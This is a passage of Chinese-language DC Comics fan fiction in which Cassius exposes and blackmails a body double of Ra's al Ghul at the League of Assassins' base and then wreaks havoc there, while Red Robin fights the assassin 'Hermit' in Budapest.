提姆点了点头，说到这个，他不禁有些困惑。提姆知道拉尔斯想要了解自己查找布鲁斯的进度，不仅仅是为了他的“好奇心”。可就像他故意让其他人以为卡修斯是他的哈莱姆那样，让他暂时还想不明白他做这些的目的究竟是什麽。 这一次，是卡修斯凑近提姆的耳边：“他知道哥谭的那个‘布鲁斯’是缄默。” 提姆惊讶的抬头，想要看着卡修斯问些什麽，却被卡修斯抬手扣住后脑，让他先别动。 “拉尔斯现在很可能就在哥谭。” 卡修斯说完，才放开了提姆。 提姆退后半步，沉默的看了他一会儿，瞬间就想明白了拉尔斯的目的。 布鲁斯的财产，韦恩集团……这才是他真正的目标。 阿尔弗和夜翼用丰厚的条件请缄默假扮布鲁斯，而拉尔斯，很可能已经控制了“缄默”。 他之所以“热心”的协助自己找布鲁斯，要求自己分享自己查找布鲁斯的全部线索，是想要第一时间掌握布鲁斯的行踪，好确保他的财产掠夺计划万无一失。 所以这才是卢修斯不顾危险，执意派塔姆来找自己的原因！他可能已经发现了缄默的反常，所以必须要自己回到哥谭，执行他们为这种特殊事件准备的方案。 提姆的表情变得凝重起来。这意味着他必须尽快从刺客联盟脱身，尽早回到哥谭。 “所以，”卡修斯盯着提姆，说，“你出去之后就想办法脱身，我在这里会帮你完成剩下的部分，以及将塔姆从这里带出去。” 提姆立即想要拒绝，他不可能放卡修斯一个人在这里。可他还没说话，房门就被推开。 拉尔斯猝不及防地出现在了门口，身边还跟着白幽灵和特派员。 两人的眼神从提姆身上轻轻扫过，随后用卡修斯已经熟悉的，鄙夷的眼神狠狠瞪了自己一眼。 “看来你和我的哈莱姆很投缘。”拉尔斯脸上挂着冰冷的微笑，戏谑的看着凑得非常近的两个人，接着对卡修斯说道，“亲爱的，虽然我们还没举行过仪式，但所有人都已经知道了你的身份，作为我的哈莱姆，你不可以私下里再见外男。不要仗着我的宠爱，坏了规矩。” 卡修斯都来不及对他的话表示恶心，这会儿心里满是震惊。不对啊，拉尔斯这会儿应该不在这儿，难道自己记错了情节？这会儿拉尔斯还没离开发源地？ “时间也不早了，红罗宾。你的人手已经集结完毕，早点出发去履行你的职责吧，至于他，就由我亲自送回寝殿。” 卡修斯能感觉到提姆的身体瞬间紧绷。他下意识向前一步，又横移半步，用自己的身体挡住拉尔斯看向卡修斯的视线。 “说好的明早就是明早，我不喜欢随意更改计划。”提姆冷冷地说。 如果拉尔斯在发源地，他甚至要考虑推迟外出的计划——他不放心卡修斯一个人面对拉尔斯。 “行，走就走。” 不等提姆继续说，卡修斯已经推开他，站到了拉尔斯面前。 提姆意外的看着他，不知道他又打算做什麽。 卡修斯递给他一个稍安毋躁的表情。 “走吧，我们回寝殿，让我服侍您‘就寝’。” 卡修斯一把搂住拉尔斯的胳膊，整个人像突然没了骨头似的靠在了他的怀里。 包括提姆在内的其他人，瞬间眼珠子差点掉地上。 “走吧，主人。”卡修斯仰着脸朝拉尔斯微笑，但只有他自己知道，这话是从齿缝里挤出来的。 说罢，他倚着拉尔斯，半拽着他，想要带着他离开提姆的住处。 “你……”提姆忍不住开口。 拉尔斯似乎也被卡修斯的不要脸给震惊了，不过他只愣了半秒，就立刻也进入了状态。他对卡修斯的“亲密”非常满意，用带着手套的手指亲昵的捏了捏他的后颈，立刻感受到对方瞬间僵硬起来的肌肉和努力控制着不把自己推开的手臂。 拉尔斯脸上原本冰冷的笑容变得真实了一些。表情甚至带了些纵容的意味。 他喜欢看到年轻人这种带着尖锐棱角的“活力”，这比完全的顺从更有趣，驯服的过程才令人享受。 “看来我的新娘已经迫不及待要侍寝了。”拉尔斯又捏了捏他的后颈。 卡修斯浑身的汗毛都竖起来，只能凭借着强大的意志力才能按耐住自己跳起来一刀戳死对方的冲动。 从见面的第二眼开始，卡修斯就知道面前这个拉尔斯绝对是假的。 因为他完全没有听到这个人的心声。 电光石火间，他就想到了作妖的好方法，只不过要稍微委屈一下自己，得暂时忍着恶心跟眼前这个假拉尔斯虚与委蛇一阵子。 “拉尔斯”纵容地随着卡修斯的力道走，还不忘回头再威胁提姆一次：“去吧，红罗宾，不要让我失望，福克斯小姐的安危，以及我可爱的哈莱姆在这儿的……地位，都系于你此次任务的成功。” 卡修斯看对方对待自己的态度，就知道真正的拉尔斯绝对没有告诉他，留他在这儿真正的目的是什麽。 怪不得说男人至死都是少年，600多岁的老人了，还做着皇帝梦呢。那就别怪他利用这个短暂的信息差，替他好好整顿一下“朝纲”了。 “注意你的身份，主人的哈莱姆就算再卑贱，也不是你能染指的。” 临走前，白幽灵阴恻恻地对提姆警告道。 看来就是他把拉尔斯招来的。 本来提姆不想搭理他，但看到卡修斯做作的倚着拉尔斯走路的样子，就怒从心头起。 “管好你自己。”他语气不善地回了一句，然后砰一声，狠狠关上了门。 他若有所思地回忆着卡修斯刚才的表现。 卡修斯对拉尔斯的抗拒和厌恶是不容置疑的，但刚才他能如此自然的靠近拉尔斯，就算是故意演戏，也有点奇怪。 唯一的可能就是，这个拉尔斯是假的。 第96章 我就喜欢你们看不惯我又干不掉我的样子。 在回寝殿的路上，卡修斯极尽造作，力图让所有路过的人都看到他这个新的“哈莱姆”在他们的主人恶魔之首面前有多“受宠”。他感觉得出被自己靠着的人在极力忍耐，但因为卡修斯知道他是个冒牌货，绝对不敢真的对他怎麽样，所以对方越难受，他越高兴。 跟在他们身后的白幽灵和特派员在他们抵达拉尔斯寝殿前就停住了脚步，直到目送他们的主人和主人的哈莱姆消失在寝殿门后，两人才对视一眼，分别在对方的眼中看到了震惊。 以前主人也有过恃宠而骄的侍妾，但真没见过像卡修斯这样放肆的。因为这些人就算再受宠，也时时刻刻牢记，他们的主人是真正的恶魔。没有人敢像卡修斯这样，几乎每分每秒都在拉尔斯爆发的边缘蹦迪。但奇怪的是，明明有好几次，白幽灵和特派员都能明显的感觉到，他们的主人已经有了杀意，偏偏最后还是忍住了。 他们当然不会认为英明神武的恶魔之首是色令智昏，况且他们侍奉拉尔斯这些年，主人的侍妾数量也十分有限，男性更是凤毛麟角，两人更倾向于主人看中的是红罗宾的能力，所以才会容忍卡修斯的放肆。另一种可能就是，卡修斯对主人另有用处，在他履行自己的使命之前，主人会忍耐他的无礼，一旦他的作用消失，他的死期也就到了。 特派员心里隐隐生出某种不安。明天白幽灵就要和提姆出发，可他还要镇守发源地，如果主人纵容对方到这种程度的话，对他来说简直是个天大的坏消息。 寝殿沉重的雕花木门在身后合拢，隔绝了外面小心翼翼的窥探。卡修斯挂在“拉尔斯”胳膊上的身体瞬间从柔弱无骨变得坚硬，他猛地抽回自己的手臂，像甩掉一条毒蛇，力道之大甚至带的“拉尔斯”小退了一步。 “行了，别装了。”卡修斯的声音硬的掉渣，他一把扯下脸上碍事的面纱，随手丢在厚厚的地毯上，露出紧绷的下颚线条和那双燃烧着厌恶与杀意的眼睛。他往前逼近一步，姿态不再是刚才的“柔弱”，而像是一头随时准备撕咬对手的凶兽。 “伟大的恶魔之首，尊敬的‘主人’，”他刻意加重了对对方的称谓，语气里有说不出的讽刺，“不是要侍寝吗？我准备好了。” 话音未落，卡修斯毫无征兆的扑了上去，他的袖剑弹出，目标直指“拉尔斯”的咽喉。 “拉尔斯”显然没料到卡修斯竟然真的敢如此明目张胆的刺杀他，眼中闪过一丝不易察觉的犹疑，但他的身体本能反应快意思考，一个侧身翻滚，险之又险地避开了那带着风声的扑击。卡修斯的指尖擦着他昂贵的绿色大氅略过，带起一道细微的裂帛声。 “放肆！”假拉尔斯稳住身形，脸色阴沉的能滴出水来，之前那点纵容和戏谑荡然无存。他用和真正的拉尔斯如出一辙的冰冷和威严的语气呵斥道：“我带你回来，是让你认清自己的身份！你是我的哈莱姆，你的言行举止代表着奥·古的尊严，不要让它蒙羞！” “蒙羞？”卡修斯一击落空，毫不停顿地旋身，翠绿的纱衣因剧烈的动作翻飞，露出其下紧绷的肌肉线条。他嗤笑出声，声音在空旷奢华的寝殿里显得格外刺耳，“一个连自己名字都不敢用的影子，一个靠整容刀把自己削成别人模样的可怜虫，有什麽资格跟我说什麽‘奥·古’的尊严？” 从两人打起来后，就跪在地上不敢抬头的侍女和侍从忍不住震惊地抬起头，惊惧地看着面前的两人，抖若筛糠，但卡修斯完全没注意到。 他微微歪头，眼神像淬了毒的刀锋，准确地剜向“拉尔斯”那张因为秘密被揭穿而震惊，但又不得不极力维持平静，因为两种情绪的冲突，而变得面容扭曲的脸，嗤笑道：“怎麽？顶着这张老妖怪的脸久了，是不是真的以为自己也是个奥·古了？入戏太深了吧，贗品？” “住口！”假拉尔斯的伪装彻底破裂，他暴怒地发出一声嘶吼，那双与拉尔斯一模一样的绿眼睛瞬间爆发出骇人的凶光。他身形暴起，反手从腰间抽出一把淬着幽兰寒光的匕首，闪电般刺向卡修斯的心脏。这一击狠辣刁钻，带着必杀的决心，再无半分试探。 他知道，一旦让主人知道自己的伪装被识破，那麽他的死期就到了。 卡修斯敏捷地躲过他的攻击，但没想到对方真正的目的并不是他。男人在扑空后并没有继续攻击卡修斯，他一只手闪电般探出，抓住那个因为突变而吓得瑟瑟发抖，想要悄悄站起来逃跑的侍女，手指如同铁钳般扼住她纤细的脖颈，猛地一拧！ “咔嚓！” 令人牙酸的骨裂声清脆地响起，侍女连一声惨叫都未能发出，眼中的惊恐瞬间凝固，身体软软地瘫倒在地毯上，了无生息。 这一切发生的太快，让原本专注于和对方缠斗的卡修斯一瞬间没反应过来。等意识到假拉尔斯做了什麽之后，卡修斯立即朝着幸存的侍从冲过去，想要护住他。 但对方完全被吓得魂飞魄散，看到卡修斯朝他扑过来，还以为他也和假主人一样，要杀自己，反而尖叫着想要躲避他，朝着寝殿的大门冲过去。 “住手！” 假拉尔斯手腕一抖，手中的匕首化作一道冰冷的银光，准确地没入了侍从的后心。尖叫声戛然而止，侍从扑倒在地。 转瞬之间，寝殿内的两人就被灭口，血腥味迅速弥漫开来，混合着浓郁的熏香，形成一种令人作呕的诡异气息。 “你找死！”假拉尔斯的声音因杀戮而带上了一丝残忍的兴奋，他走近侍从确认对方死透了，随后将匕首从他背后拔了出来，甩掉匕首上的血珠，再次扑向卡修斯。 卡修斯的眼中闪过一丝懊恼，但也只是一瞬间。生死之战容不得怜悯旁人，他集中精神，迎着男人的攻势撞了上去。 “咔！” 袖剑在寝殿的烛光下划出一道致命的银色弧线，准确地隔开了男人向他刺过来的匕首。两把锋利的兵器碰撞，顿时溅起星点火花。 两个人的动作招式都快的惊人。假拉尔斯这些年为了扮演自己的主人，举手投足，甚至连战斗的招式都力求和真正的恶魔之首毫无区别，他不知道面前这个年轻人是怎麽看出自己的破绽的，只知道一旦让主人知道自己替身的身份败露，绝对会以最凄惨的方式死去。 而卡修斯出手更是狠辣，他是从刺客的斗兽场里厮杀出来的猛兽，他出手不是为了“活着”，而是为了“不死”。因为死掉的话，就会再一次经历灵魂被撕扯重组的痛苦，这比死亡更可怕。从他恢复记忆以后，他的战斗风格就彻底变了，虽然还带着一些被教授的底色，但他的攻击没有任何章法，完全凭借着惊人的爆发力和不要命的疯劲硬刚。他每一次格挡都带着要将对方武器震碎的蛮力，每一次反击都是拼尽全力的殊死一搏，逼得假拉尔斯不得不回防。 寝殿中价值连城的波斯挂毯被撕裂，精美的瓷器在打斗中碎裂飞溅，镶嵌着宝石的矮桌也被踹翻，摆放在上面的葡萄和美酒撒了一地。 卡修斯身上的翠绿纱衣在激烈的缠斗中被割的不成样子，露出底下紧实的肌肉和几道被匕首划破的血痕，但他仿佛完全感觉不到疼痛，眼中只有把这个假拉尔斯按在地上摩擦一个目标。 假拉尔斯越打越心惊。因为他发现，对方的攻击虽然没有章法，但依旧能看得出被主人亲自教授的痕迹！他本以为就算忤逆主人的意愿，杀了对方，也能找个理由搪塞过去，但现在看来，这位名义上的侍妾恐怕对主人还有更深一层的用处。如果这样的话，他就不能肯定，如果自己真的“失手”杀了对方，主人会放过自己。 真正的恶魔之首是泡过拉撒路池，身体机能总是处于巅峰时期的怪物，但假的拉尔斯只是一个和恶魔之首年龄相仿的，强壮一些的普通人罢了。即便他接受过恶魔之首严格的训练，短时间的交锋看不出和真正拉尔斯的区别，但时间一拉长，一个普通中老年人类的体能短板就暴露出来。再加上他对卡修斯身份的犹豫，错失了几次能够重创卡修斯的机会。 但这对卡修斯来说是好事，他虽然受训于刺客联盟，但和提姆在一起并肩作战这麽多次，也渐渐学会了用提姆的思维方式去战斗。因此，他的战斗方式除了一开始的野蛮粗暴，现在更掺杂了一些独属于蝙蝠系的步步为营。尤其是当发现对方对“杀死他”这件事开始犹豫之后，更是表现出了想要和对方同归于尽的疯狂气势。 在又一次凶狠的贴身碰撞中，卡修斯故意送给对方一个破绽，让他能伤到自己，但又不至于重伤他。假拉尔斯果然上当，匕首直刺他空门大开的肋下。卡修斯不闪不避，反而用尽全力狠狠撞入假拉尔斯怀中，同时屈膝顶向对方□□。 男人闷哼一声，剧痛让他动作一滞。卡修斯抓住这个瞬间，脚下猛地一绊，两人齐齐失去平衡，轰然砸向那张巨大的，铺着厚厚天鹅绒的大床。 卡修斯被男人沉重的身体死死压在下面，整个人喘气都有些艰难，但他的锁在身下的右手手腕一翻，袖剑如同毒蛇般昂首。冰冷的剑尖立即抵住了假拉尔斯的喉咙，只需要再往前半寸，就能刺破对方的皮肤，切断他的气管。 与此同时，假拉尔斯的手也死死掐住了卡修斯的脖子，力道大得几乎要捏碎他的喉骨。窒息感越来越强烈，卡修斯开始感觉到眼前阵阵发黑。 两人以极其狼狈又危险的姿势僵持在床上，粗重的喘息声交织在一起，明明都恨不得立刻置对方于死地，但偏偏都不下手，做最后一击。 “砰！” 寝殿的门被猛地撞开，几名听到动静的侍卫手持弯刀惊恐地冲了进来，还没走远的白幽灵和特派员在察觉到寝殿有异后，也跟着一起冲了进来。 从他们的角度，只能看到拉尔斯将卡修斯压在身下，还掐着对方的脖子，可完全看不见他们主人的脖子正被对方的袖剑抵着。 “站住！” 假拉尔斯及时喝止他们继续进入。 他担心卡修斯在这麽多人面前揭穿他的身份，其他低等侍卫倒是好说，杀了也就杀了，但白幽灵和特派员是主人的臂膀，可不是轻易能动的。 卡修斯脸色憋得通红，但他的眼中闪着恶意的光芒，嘴角也向上挑起，像是笃定他不敢让这些人进来，也不敢真的杀了他。 “主人？发生什麽事了？”特派员的目光扫过地上两具侍从的尸体，他微微抬着手，身后的侍卫们也都一副蓄势待发的样子，好像只要拉尔斯一个命令，他们就立即将卡修斯拖出来直接处决。 假拉尔斯眼中杀意沸腾的几乎要喷出火来。他死死盯着身下同样目露凶光的卡修斯，胸膛剧烈起伏着。 卡修斯虽然被扼住喉咙，可眼神却丝毫不退缩，他甚至还做了个“贗品”的口型挑衅，抵在他喉间的袖剑更是纹丝不动。 僵持了仿佛一个世纪那麽长的几秒钟，最终，假拉尔斯从牙缝里挤出几个字，声音嘶哑低沉，充满了强行压抑的狂怒： “滚出去！” “谁再擅自闯进来打扰我的兴致，就去给我死！” 侍卫们没有丝毫犹豫，立即训练有素的退了出去。白幽灵和特派员若有所思的看着地上的尸体，还没来得及想更多，就听到一声薄纱被撕扯开的脆响声：“你们两个杵在这里做什麽，没自己的事做了吗？” 两人也不敢再耽搁，做了个手势让侍卫们将门边的两具尸体拖走，然后轻轻为他们关上了门。 寝殿再次只剩下他们两人。 “呵……”卡修斯因为喉咙被扼住的太久，声音有些嘶哑，但其中的嘲讽意味丝毫未减，“怎麽？不敢让他们看到你被一个‘侍妾’拿刀抵着脖子？还是怕他们知道你不是他们真正的主人？”他感受到扼住自己喉咙的手指又收紧几分。不过他也不甘示弱，将手中的匕首也向上抵了半寸，剑尖和皮肤接触的地方立即渗出几滴血珠。 “你是怕替身败露这件事被拉尔斯知道，他不会放过你的……呵……呵，你这个见不得光的影子，没有自己姓名的可怜虫……” 假拉尔斯的瞳孔剧烈收缩，卡修斯的话准确刺中了他内心深处的恐惧。主人对他的要求就是当一个完美的替代品，只要被任何一个人发现自己其实是替身，那麽自己的死期也就到了。 不过他现在倒有些困惑，不明白卡修斯挑明他的身份，但又不当众揭穿他的意图是什麽。 “你到底想做什麽？！”假拉尔斯手上的力道不自觉松了半分，声音里带着一丝不易察觉的颤抖和歇斯底里——自从做了主人的替身之后，他享受了主人能享受的所有荣耀和尊崇，除了主人，他不再惧怕过任何人和事，时间久了，他都已经忘记了害怕是什麽感觉。他披着恶魔之首的虚假外衣活了这麽多年，他的使命就是有朝一日，为主人献上生命，他绝不接受作为一个失败者被处决的死法。 卡修斯贪婪地吸了几口空气，喉咙火辣辣地疼，他盯着假拉尔斯因愤怒和恐惧而扭曲的脸，沙哑地说道：“我想做什麽，很简单。” “既然你们都说我是拉尔斯的‘哈莱姆’，”他刻意加重了那个称呼，带着浓浓的讽刺，“那我就要做最受宠的那一个。我这辈子也没想过还有当宠妃的机会，必须得对得起这个宝贵的人生经验。我要在发源地，好好玩玩。” 卡修斯看向他的眼神变得危险起来：“至于你，我的‘主人’……我可以帮你保守身份的秘密，前提是你给我识相点，在我玩的开心的时候，不要出现在我面前碍眼，更不要妄想妨碍我。” “否则，”卡修斯收起自己的袖剑，用拇指沾到他脖子上的血珠，然后缓缓蹭上假拉尔斯的额头，又顺着额头，将血迹蹭上他的眉骨，“我不介意让整个发源地的人都知道，他们敬若神明的主人……其实是个连自己名字都没有的可怜虫，到那个时候，你说到底是谁让奥·古这个姓氏蒙羞呢？” 假拉尔斯的额角青筋暴跳。巨大的屈辱感和对卡修斯的杀意几乎要将他吞噬，但他更清楚卡修斯威胁的分量。 他死死咬着牙，腮帮子绷的紧紧的，最终，在卡修斯冰冷又充满了挑衅的目光下，缓缓地松开了掐着卡修斯脖子的手。 他狼狈地从卡修斯身上爬起来，又警惕地后退几步，用手摸了摸自己脸上被卡修斯故意蹭上去的血迹，眼神怨毒地死死盯着慢条斯理从床上坐起来整理破烂纱衣的卡修斯。 “哎，真粗暴啊，我的主人。”卡修斯将床边被撕裂的一段纱拎起来在眼前晃了晃，语调里充满了恶意的调侃。 “你……给我等着。”假拉尔斯的声音因为极致的愤怒而嘶哑变形，“你在发源地兴风作浪，等主人回来，你的死期就到了，你会为今天的狂妄付出代价！” 卡修斯嗤笑一声，连眼皮都懒得抬一下，仿佛在听一个拙劣的笑话。他弹了弹纱衣上不存在的灰尘：“我发现，这个世界上，最没用的威胁就是‘你给我等着。’，行吧，我等着。” 假拉尔斯看着他那副油盐不进，嚣张至极的模样，只觉得一股血气直冲头顶。他猛地转身，一脚踢开寝殿的门，带着冲天的怒气快速消失在了走廊的阴影里。 “主人，你可真是宝刀未老啊，可真的不留下来过夜吗，我还想要呢……”卡修斯坐在床上心情愉悦的冲着门口大声喊。 门口的侍卫不敢吱声，赶紧替他把门紧紧关上。 卡修斯看着那扇被关上的门，冷哼一声，脸上所有的表情都消失，取而代之的是一种冰冷的疲惫。 他低头看了看自己身上已经被撕烂割烂，坏的不成样子的纱衣，直接将东西都脱了，然后下床走到镜子前，对着镜子摸了摸脖子上被掐出的红痕，还有那个冰冷的金属项圈。 他回到床边，拿起提姆交给他的平板，打开看了看，曾经的计算机知识让他能大概看懂正在运行的代码，这是一个自动程序，正在慢慢感染包括发源地以内的所有刺客联盟的分部，让每一个位置的计算机程序缓慢过载，运行完毕后，那些过载的计算机程序就会引爆被它们控制着的发电机。 他将屏幕熄灭，又走到巨大的落地窗前。窗外是流沙的海洋，伊斯坦布尔的月光映照在这片罪恶的土地上，衬得它和其他地方一样宁静，安详。 卡修斯知道这片虚假的宁静下酝酿着多少罪恶和杀戮。他需要发泄，需要制造混乱，需要让特派员焦头烂额，无暇他顾。 刚才在和假恶魔之首的对峙中，他略胜一局。假拉尔斯绝对想不到，他退的这一步，会让真正的恶魔之首损失惨重。 卡修斯体会到了破坏带来的快乐，这一刻，仿佛跟阿卡姆那些最喜欢制造混乱的恶棍们共情了。 原来当反派真的比做一个好人爽多了。 在刺客联盟发源地的这片土地上，他非常乐意当一个反派。 他利用了假拉尔斯的懦弱，笃定他不敢将自己的所作所为报给真正的恶魔之首。这个宝贵的信息差时间，就是他配合提姆摧毁刺客联盟的最好机会。 真期待明天的太阳快点升起啊。一抹邪恶的笑意缓缓爬上卡修斯的嘴角。 第97章 用最拙劣的方式，作最逆天的妖。 和假拉尔斯达成这种心照不宣的默契后，卡修斯在刺客联盟的发源地彻底放飞自我，开启了属于他这个“宠妃”的荣耀时代。他脖子上的金属项圈好像不再是单纯的死亡威胁，反而成了一种扭曲的“护身符”——象征着他是拉尔斯最宠爱的哈莱姆，地位尊崇。 拉尔斯不是喜欢让他穿那种只能观赏，毫无使用性质的纱衣麽？卡修斯以身上那套被主人粗暴的撕坏了为由，让侍女们再多拿几套，不，十几套来，他要一天三套换着穿。 侍女将这个离谱的要求报给特派员，想要特派员批款，特派员又想以此为由向拉尔斯告状，没想到他一向英明神武的主人只随意的说了句“随他”，就再也没有其他指示。 事实证明，“只要我不尴尬，尴尬的就是别人”这句话适用于任何场合，卡修斯的衣服要的急，而且还特别吹毛求疵，一点线头都能磨伤他“娇嫩”的皮肤，让侍者们拿回去返工。 特派员觉得他作的过分，当面嘲讽他，做男宠还做的这麽自豪的他倒是第一次见。 “能做主人的男宠难道不是一种荣耀吗？大家都是为主人服务的，还分什麽高低贵贱？你看不起我，是对主人的私生活有意见吗？” 说话的时候，卡修斯正大爷似的躺在特地从拉尔斯的寝殿里搬出来的玉石做成的榻上，旁边有侍女帮他撑伞，侍从替他扇风，还有人替他剥葡萄。更过分的是，他还指使监视他的刺客帮他修脚。 他能这麽横，当然是因为监视他的刺客不敢真正地打伤他，更打不过他。 特派员愤然离开，继续去告状，但得到的是自己主人的训斥：“一个男宠都处理不好，让我非常怀疑你的办事能力。” 特派员：…… 他不知道自己的主人到底中了什麽邪，为什麽对一个男宠纵容至此，只知道，主人如果再这麽纵容他胡作非为，自己就要疯了。 他现在每次听到有人喊他“大人”，都觉得害怕。因为迎接他的不是刺客联盟井然有序的运转报告，而是如同雪花般飞来的，关于那位哈莱姆的最新暴行的控诉。 “大人，不好了！”一名侍卫匆忙冲进指挥室，脸色比死人还难看，“哈莱姆大人，他，他把苗圃里培育的百年份曼陀沙华全拔了！” 特派员脸色顿时比吃了苍蝇还难看：“什麽？全都拔了？” 那可是联盟许多毒药的内核原料，价值连城！ “他说……”侍卫的脸色也很不好，“说那花颜色太素，影响他的心情，还命令园丁改种金色波斯鸢尾，说只有这种名贵的品种才配得上他的眼睛。” 特派员面无表情的闭了闭眼睛。 侍卫看着他的脸色，试探性地问道：“要不要报给主人知道？” “不用。” 他告了几次状之后就知道，主人的心思不在这里，根本不会理会这些“琐事”，更不会为此规训和惩罚这位哈莱姆。 特派员不相信自己的主人是色令智昏，更愿意相信，主人如此纵容他，绝对是为了正在外出任务的红罗宾。 “大人！”另一名刺客也匆忙闯入，“后勤装备处，刚到的，给精锐小队预备的最新一批凯夫拉纤维作战服，全……全被‘那位大人’剪了。” 特派员一口气没上来，差点背过气去：“什麽？这麽重要的物资，你们为什麽不看好？那可价值几百万美金！” 来报告的刺客也不敢说话，哈莱姆身份特殊，一般后宫的人是不允许出现在作战区的，但这位“宠妃”在发源地里横冲直撞，就没有他不能去或者说不敢去的地方。所到之处鸡飞狗跳，弄得所有人都怨声载道。但偏偏主人一句话都不说，也不给他任何惩罚，让大家更加摸不清他的底细。 特派员已经不想问他为什麽要破坏这些物资了，除了给他找麻烦，他想不出任何理由。 “以后没有我的命令，禁止他再踏入后勤局域一步！违令者……”特派员觉得自己的忍耐已经到了极限。 “可是……”刺客犹豫着，想要提醒特派员，对方身份特殊。他们也想阻止，但是根本拦不住啊，对方可不是手无缚鸡之力的菟丝花，而是一脚就能把侍卫踢进流沙的食人花。 “没有可是，他再造成什麽损失，你们就替他……” 他的话还没说完，第三个刺客几乎滚进了指挥室：“大人，那位大人直接闯进武器研发试验场了……” 特派员再也顾不上其他，直接冲出指挥室，朝着试验场狂奔。 短短一天，他已经领教到了这位哈莱姆的破坏力，他所到之处，几乎没有什麽完好的东西，如果他破坏了武器研发场，后果不敢想象。主人现在是被下了降头，肯定不会责罚卡修斯，但会不会责罚他这个负责人，就说不准了。 …… 这样的事情好像时时刻刻都在上演，特派员从没觉得自己这麽累过。卡修斯用最拙劣的方式，作着最逆天的妖。 他早上嫌训练场演武声音太大，影响他休息（他甚至让人在训练场旁边给他支了个镶着金边的遮阳伞和躺椅，完全不觉得自己的作为非常影响刺客们的训练士气）。下午又说情报分析室的光线太暗，伤了他尊贵的眼睛，然后让人把分析室厚重的防窥窗帘全拆了，换成了坠着水晶流苏的轻薄纱帘。 而他的主人明明知道一切，却像是根本没看见似的，不管不问。 更让特派员警惕的是，卡修斯每次“作妖”之后，总会“恰好”出现在塔姆·福克斯被软禁的局域附近。有时是在一个视野良好的露台“凭栏远眺”，有时是在她所在的房间回廊“散步消食”。偏偏他从不与那个女人直接交谈，甚至很少刻意去注意她所在的位置，但他那嚣张跋扈的呵斥刺客的声音，对环境吹毛求疵的挑剔声，还有偶尔拔高了声音的自言自语，总能清晰地传到塔姆的房间里。 特派员不会认为卡修斯做的这一切能以简单的“恃宠而骄”来概括，他认为卡修斯做的这一切离谱的行为，可能都是为了帮助另外一位人质出逃。 自认为看穿卡修斯意图的特派员将那个叫福克斯的女人看得更严密了。白幽灵和红罗宾带走了发源地几乎全部的精锐，特派员就将剩下的一大半人手派去看管福克斯，连他自己身边的侍卫都派了出去。 他就不相信在这麽严密的看守之下，卡修斯还能怎样帮福克斯离开。 塔姆被软禁在一间舒适但守卫森严的套房里。最初的恐惧过后，她渐渐从守卫们只字片语地压抑抱怨中，拼凑出外面正在发生的“事故”。那位天天穿着露骨纱衣招摇过市，把联盟搅得天翻地覆的哈莱姆，竟然是卡修斯？那个当初毫不犹豫接过原本是要控制提姆的项圈给自己带上的人？ 她有点震惊，但随之而来的是一种奇异的安心感，她听自己的父亲提起过这位哥谭的占卜师，知道他和韦恩家的关系不错，提姆甚至委托父亲帮他做了一副特殊的塔罗牌。 在巴格达见到提姆之前，她完全没想过那位外表看上去温和又无害的韦恩少总裁居然是哥谭义警，当然，现在她知道了，也推测出韦恩家大概没有一个是普通人，自己的父亲肯定知道韦恩家的秘密，只是从来没和她说起过。现在看来，这个和提姆关系很好的占卜师大概也有特殊身份。只是不知道为什麽他就忽然变成了这座宫殿（或者说是基地）主人的“宠妃”。 但无论如何，卡修斯在用他自己的方式告诉她：他还在，也没有忘记她，请耐心等待。 这让她已经两天没有见到提姆的不安的心情奇迹般地平静下来，甚至开始饶有兴致地欣赏起这场由卡修斯知道的，针对刺客联盟的荒诞表演，连看守她的守卫变得更多更严密，也不再让她更焦灼。 镇守发源地的特派员则继续在水深火热中煎熬。他每天心力交瘁，疲于奔命地给卡修斯捅出的各种篓子擦屁股，无数次想要不顾一切地冲到进主人的寝殿，把那个该死的“宠妃”掐死丢进流沙里。 但他不敢。 主人对这位行事癫狂的哈莱姆的纵容显而易见，所有试图“规劝”或“限制”卡修斯的举动都被轻飘飘地挡了回来。 跟着拉尔斯多年，以创建新秩序，新世界为己任，见证主人的永生为毕生追求的特派员平生第一次怀疑起自己的选择来。他无比虔诚地祈祷，祈祷红罗宾带领的那支精锐队伍可以任务失败，最好全军覆没！只有这样，那个无法无天的哈莱姆才会失去依仗，主人也会厌弃他。到那个时候，他会让这个贱。人尝尝刺客联盟真正的地牢和酷刑是什麽滋味！ * 世界的另一端，布达佩斯郊外，废弃的工业园区如同一个锈迹斑斑的钢铁巨兽，正匍匐在昏沉的暮色中，锈迹斑斑的钢铁森林如同沉默的墓碑，埋葬了刺客联盟和蜘蛛议会的诸多精锐。红罗宾射出抓鈎，无声地跃上一座楼顶，他红黑色的制服仿佛要和残阳融为一体，只有面具下那双隔着白色护目镜的眼睛，如同扫描仪般视图着前方鳞次栉比的高楼。 普鲁如同他的影子，紧跟在侧后方，手中的枪械已经上膛。在他们身后，还有两名刺客随行——这是他们这队最后的人手。 现在，他们的目标是蜘蛛议会在这个地区的指挥官“隐士”。红罗宾希望能活捉他，这样他才能获取更多蜘蛛议会的内核情报。 他带来的刺客大多被隐士所杀，当然，对方也损失惨重。提姆技高一筹，最终还是依靠诡谲的战术，将对方打到只剩一人。 前方楼顶的水塔后似是有响动，提姆立即警觉地望过去，但那里钻出一只被惊扰的猫，喵了一声后，立即失去了踪影。 那里没有脚步声，也没有呼吸声，似是空无一物。但无数次的战斗经验告诉他，这就是顶级掠食者收敛气息，锁定猎物的瞬间。 “水塔后，小心！”普鲁在红罗宾示警的同时，凭借杀手的本能捕捉到了那丝异常。隐士现身的同时，普鲁抬枪就射。 “留活口！”提姆伸出长棍，挑高了普鲁手中枪的位置。 子弹从隐士的耳边划过，立即有刺客朝他扑了过去，男人抬起手，指尖的寒光瞬间抓破了刺客的面巾和面巾下的皮肤。 被抓伤的刺客捂着脸惨叫一声，很快口吐白沫地倒地了。 提姆心中重重一跳。这个人算是因他而死——如果他没有阻止普鲁射杀对方，这个刺客也不会被抓伤。 男人裸着上半身，一头金色的头发，下半张脸被绷带绑着，半果着的身体高大健硕，双手自然下垂，指尖的利器在昏暗的光线下泛着一种非金非玉的冷光，那是一对虎爪，从材质上判断，应该是陶瓷之类的东西制成。他的爪尖已经满是血污，足以见得他杀了多少人，爪子的小指尖还没沾血，但爪尖幽蓝，再看看那个被抓了脸就立即死亡的刺客，就知道他的这双虎爪一定是淬了毒。 没有任何废话，甚至没有一丝多余的动作。隐士落地即动，速度快得匪夷所思。他不是直线冲刺，而是如同鬼魅闪烁，在飞机的钢架和管道阴影中快速移动，目标直指提姆侧翼的另一名刺客。 “小心！”提姆厉声警告，手中长棍如毒蛇出动，带着呼啸的风声横扫过去试图阻拦。 